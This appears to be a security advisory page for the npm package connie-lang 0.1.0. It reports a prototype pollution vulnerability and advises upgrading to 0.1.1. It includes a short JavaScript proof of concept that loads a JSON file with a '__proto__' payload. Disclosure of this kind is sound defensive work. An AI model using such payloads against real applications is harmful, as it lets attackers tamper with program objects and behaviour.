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connie-lang@0.1.0 vulnerabilities

Configuration language for connie

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Direct Vulnerabilities

Known vulnerabilities in the connie-lang package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

connie-lang is a the configuration language for connie.

Affected versions of this package are vulnerable to Prototype Pollution in the configuration language library used by connie.

POC

const connie = require('connie');
const fs = require('fs');
fs.writeFileSync('test.json', `{"__proto__": {"polluted": true}}`);
connie('dir', '.').read().then(x => {
    console.log(polluted);
});

How to fix Prototype Pollution?

Upgrade connie-lang to version 0.1.1 or higher.

<0.1.1
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